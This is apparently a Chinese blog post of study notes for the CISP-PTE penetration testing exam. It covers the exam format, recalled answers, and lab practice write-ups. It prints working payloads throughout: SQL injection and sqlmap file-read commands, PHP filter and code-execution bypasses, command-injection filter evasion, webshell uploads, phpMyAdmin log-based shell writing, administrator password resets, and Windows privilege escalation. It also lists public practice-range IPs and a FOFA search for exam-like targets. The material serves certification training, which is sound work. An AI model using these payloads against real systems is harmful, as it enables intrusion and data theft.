CISP-PTE自考经验总结_2022-11-09
报培训班会在考试中会碰到原题,但不报班自考的话在搜集资料和总结知识点上将会耗费不少时间,而且会伴随着持续的不踏实和不稳妥。这篇文章记录了本人自学备考,成功通过的整个过程,希望对你有用。
备考规划及注意事项
考虑到零基础培训班7天就能速成,因此自考不报培训班,有基础的话同样一周,一天练习三个小时左右即可。主要通过练习各种Labs和公网上的模拟真题靶场,对必考知识点总结。
考试方式:机考,机器不能联网,使用给定的攻击机,工具少且老,够且仅够用。
熟悉题型:20个选择题(20分)+5个实操题(50分)+1个综合题(30分)
20个选择题考察面很广,几乎涵盖了知识体系大纲的所有知识点,多练习总结错题即可。
5个实操题每题一个key,题型及考察点:
- SQL注入:报错、二次等,双写或space2comment绕过,load_file读key
- 命令执行:ping执行,读取文件关键字替换、加无效字符绕过
- 代码执行:php代码执行,闭合函数等操作,system函数读key
- 文件包含:php伪协议,通常双写绕过,包含key读取base64内容
- 文件上传:php马子,GIF89a文件头、其他后缀绕过
- 权限绕过:Cookie鉴权绕过,权限修改为Admin即显示key
- 日志审计:审攻击日志发现路径、账号密码、webshell密码等,访问获取key
- XSS(几乎没有):弹Cookie,Cookie携带key
1个综合题目
- key1通常是备份文件、弱口令等,直接web后台或数据库内得到key
- key2通常是传木马拿shell,在网站根路径得到key
- key3通常是拿主机administrator权限,在桌面得到key
满分100分,70分就能过,选择题控制在错10个以内,这样大题8个key拿到6个key就能过,1个SQL注入稍微麻烦一些答不出来可以选择放弃,其余的都应该拿下。
考试经验及靶场收集
考试经验分享
http://www.bw08.top/archives/cisp-pte
https://i4k.xyz/article/asd2588258/118796949
https://blog.csdn.net/WangMingErYu/article/details/120716113
在线靶场
合集类
http://111.229.158.19:9002/index.php PiKaQiu靶场 title="Get the pikachu"
sqli-libs
title="SQL Injections"
upload-labs
title="upload-labs"
考试情况记录(2022-11-09)
最终82分,一道权限绕过的key没做出来,错8个选择题。
选择题记不清了
实操题
题目1:SQL注入
随意注册一个邮箱账号登录,,进去发现有个管理员邮箱,注册一个admin@123.com"#
,利用二次注入改管理者邮箱密码,进去管理员账号在删除文章处有报错注入,space2comment tamper绕过,load_file读key。
payload:python sqlmap.py -r req.txt --tamper space2comment --risk 3 --batch --file-read "/key"
题目2:文件包含
php://filter读key,php://双写绕过
payload:phphp://p://filter/read=convert.base64-encode/resource=../key.php
题目3:文件上传
GIF89a文件头绕过
题目4:代码执行
1 | $a = $_GET["a"]; |
闭合两个函数,注释掉末尾代码,在中间注入代码即可
payload:?a=123\")");systeminfo("cat ../key.php");//
题目5:权限绕过
试遍了所有方法,没做出来,一度怀疑题出错了。
综合题
常规思路,就是直接命令执行读key3没成功,因为key文件没在桌面,在回收站。
- key1:扫目录,phpmyadmin弱口令,key在数据库写着
- key2:数据库修改web系统admin密码md5,登入系统GIF89a绕过传php木马,网站根目录发现key2
- key3:试图直接读桌面文件key,发现桌面一直为空,net user administrator Abc@123修改密码3389进去发现key在回收站
题目大多是一个套路,多练习即可。
模拟真题练习记录
fofa进行搜索body="CISP-PTE 认证考试"
或title="CISP-PTE"
SQL注入
SQL注入1:insert插入多行
要点:insert插入多行数据
注册,登录进系统,登陆与注册处都未发现注入漏洞,在发表文章处提示过滤,注入应该在此处
insert语句,四个字段:编号、标题、内容、作者
使用insert语句注入,过滤了注释符,可利用插入多行注入
可以多行插入数据
查表名
1 | title=111&content=1','123'),('123',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'123 |
查列名
1 | title=111&content=1','123'),('123',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users1'),'123 |
查数据
1 | title=111&content=1','123'),('123',(select password from users1 limit 0,1),'123 |
SQL注入2:二次注入
随意注册用户,登录提示不是admin,注册一个admin'#
账户
修改密码,利用二次注入修改密码成功修改admin的密码,登录admin得到key
文件上传
文件上传1:GIF89a头、大小写绕过
要点:GIF89a头绕过、eval大小写绕过
尝试png头、jpg头都不行,gif89a头可以绕过文件头检测,eval关键字大小写绕过
拿到shell
文件上传2:GIF89a头、大小写绕过
要点:GIF89a头绕过、eval大小写绕过、文件命名遍历扫描
上传测试,得到服务器保存文件提示
根据提示,遍历所有可能的文件,得到结果http://150.158.27.164:2082/224a8e76193f98fccd84fa856bbc326a.php
写读文件的system()代码,继续遍历,成功访问但是一直读不到key.php,/etc/passwd都可以读到,写shell连接发现key被删了
文件包含
文件包含1:远程文件包含
要点:远程文件包含
可远程文件包含
写入文件,命令执行读取key.php,远程包含
1 | "cat ../key.php"); system( |
文件包含2:伪协议读文件
要点:伪协议读文件
可包含passwd
伪协议直接读取key
1 | ?page=php://filter/read=convert.base64-encode/resource=../key.php |
文件包含3:preg_replace()函数
访问view.html发现Hello参数,对preg_replace()函数/e模式可执行代码,对其base64解码,得到另一个参数z0
对phpinfo();
base64编码传参,成功执行
system()函数读取key,payload:
1 | Hello=1&z0=c3lzdGVtKCJjYXQgLi4va2V5LnBocCIpOw== |
文件包含4:远程文件包含
要点:远程文件包含
远程包含读文件
1 | "cat ../key.php"); system( |
反序列化
直接对$PTE = "CISP-PTE";
序列化,传参即可
失效的访问控制
cookie越权
默认用户Guest,cookie有两个参数:IsAdmin和Username
改IsAdmin为true,Username为Admin的base64编码即可
命令执行
命令执行1:系统命令\转义绕过
要点:关键字过滤绕过
ping功能,管道符+id可执行
1 | 127.0.0.1 && id |
测试发现存在以下过滤:
- 读文件cat、more、tac、less、head、uniq都被过滤,sort没被过滤
- 同时php关键字被过滤,sort可读取passwd,但读不了key.php
以上过滤均可使用转义符绕过,payload:
1 | 127.0.0.1 && ca\t ../key.ph\p |
日志审计
筛选攻击ip 响应为200的日志,得到后台地址/adminlogin.php
爆破账号密码进入系统得到key
综合题 1⭐
(
做这道题题之前不知道不能使用自己的工具,不能联网,也没熟悉PTE综合题的做题套路,导致做法独特,不适用考试,真正考试的做法应该是:
- key1:扫目录备份文件得到数据库普通账户,登录发现web系统admin账号密码,进入web系统得到key1
- key2:web系统上传文件获取webshel,web目录下发现key2
- key3:web目录网站配置文件中得到数据库sa账号密码,xp_cmdshell执行命令可连3389,也可直接dir找key文件
)
Key1:备份文件泄露
搭建好环境,扫端口发现1433 SQLServer、27689 web,SQLServer爆破未成功
主页没东西,扫目录发现web.config.bak,泄露数据库账号密码
MDUT连接,用户无权限执行命令,Navicat连接,发现账号密码,疑似web系统
robots.txt发现目录但是无法访问,提示环境有问题
1 | /Default.aspx |
搜索报错得到解决办法
1 | C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis -i -enable |
运行安装asp.net,成功启动系统
继续,利用数据库里的账号密码admin/asdadwn_d2112进入系统,获得第一个key
Key2:上传截断绕过
进入系统,存在上传点,
后缀采用白名单,可上传txt、jpg,内容无检测,使用特殊符号%00、:等截断成功,但是文件并未写入:
在报错中发现了物理路径:D:\web\upfile\affix\637966191285153802-123.aspx
看到文件管理页面的文件说明:
注意:文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长,为您带来的不便,敬请谅解。
利用系统的文件名截断,上传测试文件,发现重命名时除去时间和-连接符,还剩13个字符,因此只需要将上传的合法后缀文件名长度输入在13个以上,同时13个字符是.aspx结尾,即可上传并截取显示:
再利用泄露的地址,拼接访问即可
没问题,上传马子,在d盘下发现key2
1 | for /r d:\ %i in (frp*) do @echo %i |
Key3
MS09-012提权
mimikatz抓密码失败,信息搜集后尝试提权,最终利用MS09-012提权至system权限,并在C盘桌面发现key3
https://github.com/lyshark/Windows-exploits/blob/master/MS09-012.zip
简写绕过目录中的空格(前六位+~1),读取key
1 | pr.exe "type c:\Docume~1\Administrator\桌面\key.txt" |
SQLServer提权
web目录下发现配置文件的备份,找到数据库sa用户密码,MDUT连接 xp_cmd获取system权限,执行命令查看key3
key3:4d9d3q8v
综合题2⭐
key1:phpmyadmin弱口令
扫端口发现80是dedecms,试弱口令没登进去
扫目录发现phpmyadmin,root/root登录系统,修改dedecms后台admin密码,md5值前五后七去除即可,登入后台
按理key1在这儿,但是怀疑环境的问题没发现key1
key2:后台文件管理
文件管理处浏览网站根路径,发现key2
key3
上传木马获取shell
后台有文件管理功能,直接写入一个php wenshell
由于当前就是administrator权限,通过dir、for查找找到key文件,type读取即可
phpmyadmin获取shell
phpmyadmin有root权限,可利用日志写入php小马,直接提权到os shell
1 | show variables like "%general%"; |
接下来的操作同上
知识点总结
总结和记录一些必考点和自己反复记不清的知识点
RCE绕过总结
通常RCE发生在ping或traceroute中,命令函数为system()、exec()、shell_exec()、popen()等
Linux命令执行以ping为例,绕过主要考察以下知识点:
可使用管道符拼接执行任意命令,可用的管道符:
1 | & && | || |
绕过关键字过滤,假如cat被过滤,绕过方式如下:
关键字绕过之命令替换
以下可用于读取文件内容的命令
1 | more:一页一页的显示档案内容 |
关键字绕过之无效字符填充
可使用空白字符、转义字符、单双引号等对关键字进行填充
1 | 转义符 |
空格过滤绕过
可以用制表符%09
、Linux分隔符${IFS}
各种绕过方式可以结合使用:
1 | 127.0.0.1|m$@o""r''e${IFS}%09/e''tc/p$8$1a\s\sw""""d |
https://zhuanlan.zhihu.com/p/391439312
服务器解析漏洞
IIS 5.x/6.0解析漏洞
在IIS5.X和IIS6.0版本中存在以下两个解析漏洞。
(1)目录解析漏洞
在网站中建立名字为*.asp、*.asa
的文件夹,其目录内的任何扩展名文件都会被IIS当做ASP文件来解析并执行。
例如:创建一个目录test.asp,那么/test.asp/1.jpg将被当做ASP文件来执行。
/xx.asp/xx.jpg
(2)文件解析漏洞
网站上传图片的时候,如果将网页木马文件的名字改成*.asp;1.jpg
,分号后面的不被解析,也就是说,*.asp;1.jpg
会被服务器看成是*.asp,就可以绕过服务器禁止上传ASP文件的限制,这样的畸形文件也同样会被IIS当做ASP文件来解析并执行。
例如:上传一个图片文件名为test.asp;1.jpg
的木马文件,该文件可以被当做ASP文件解析并执行。
在IIS6.0版本中,默认可执行文件除了test.asp以外,还包括test.asa、test.cer、test.cdx这三种,同样也存在解析漏洞。
- test.asp;1.jpg
- test.asa;1.jpg
- test.cer;1.jpg
- test.cdx;1.jpg
IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
IIS 7.0/IIS 7.5/ Nginx <8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
在某些使用有漏洞的网站中,访问http://127.0.0.1/1.jpg/1.php
,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。
1.jpg/1.php
Nginx <8.03 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:http://127.0.0.1/1.jpg%00.php
会把1.jpg文件(木马文件)当做PHP文件来执行。
xxx.jpg%00.php
Apache解析漏洞
在Apache 1.x和Apache 2.x中也存在解析漏洞。
例如:1.php.rar会被当作php文件执行。
Apache在解析文件时有一个原则:按照识别“.”后的扩展名来解析,当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。
例如:1.php.aa.bb.cc
1.php.aa.bb.cc
会先解析cc,若cc不存在则解析bb,bb不存在则解析aa,aa不存在则只能解析PHP了。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。
这种方法可以绕过基于黑名单的检查。(如网站限制,不允许上传后缀名为PHP、ASP、ASA等的文件)
php伪协议
用法汇总:
常用的是php://filter、php://input、data://
三个
phpmyadmin getshell
1 | show variables like "%general%"; |
自定义日志文件时需要写入根路径,获取根路径可以查询@@datadir
或@@basedir
,根据数据库的位置猜测网站根目录,通常是xampp、phpstudy等。
选择题错题记录
常错的几道题
1、base64()函数在mysql中可以使用的最低版本什么?
- A . 5.4版本
- B . 5.5版本
- C . 5.6版本
- D . 5.7版本
MySQL在5.6版本的时候增加了to_base64和from_base64函数,在此之前没有内部函数,只能使用User-Defined-Function
2、以下哪个PHP版本环境可能存在0x00截断
- A . 5.2
- B . 5.3
- C . 5.4
- D . 5.5
3、会话固定形成的原因,正确的是
- A . 会话ID暴露在URL里
- B . 用户身份验证凭证没有使用哈希或加密保护
- C . 成功注册后,会话ID没有轮转
- D . 以上都是
4、关于DOM xss和寻常xss下面说法正确的是
- A . DOM xss是服务端代码造成的而寻常xss不是
- B . DOM xss不是服务端代码造成的而寻常xss是
- C . 两者都是服务端代码造成的
- D . 两者都不是服务端代码造成的
5、默认情况下,windows的哪个版本可以抓取到LM hash
- A . windows XP
- B . windows Vista
- C . windows 7
- D . windows server 2008
6、下面哪个是administrator用户的SID
- A . S-1-5-21-3698344474-843673033-3679835876-100
- B . S-1-5-21-3698344474-843673033-3679835876-500
- C . S-1-5-21-3698344474-843673033-3679835876-1000
- D . S-1-5-21-3698344474-843673033-3679835876-1001
7、oracle 10g中的默认用户中权限最高的是
- A . sys
- B . system
- C . sysman
- D . internal
8、下面不属于sql注入的危害的是
- A . 数据库信息泄漏
- B . 获取会话信息
- C . 破坏硬盘数据
- D . 网页篡改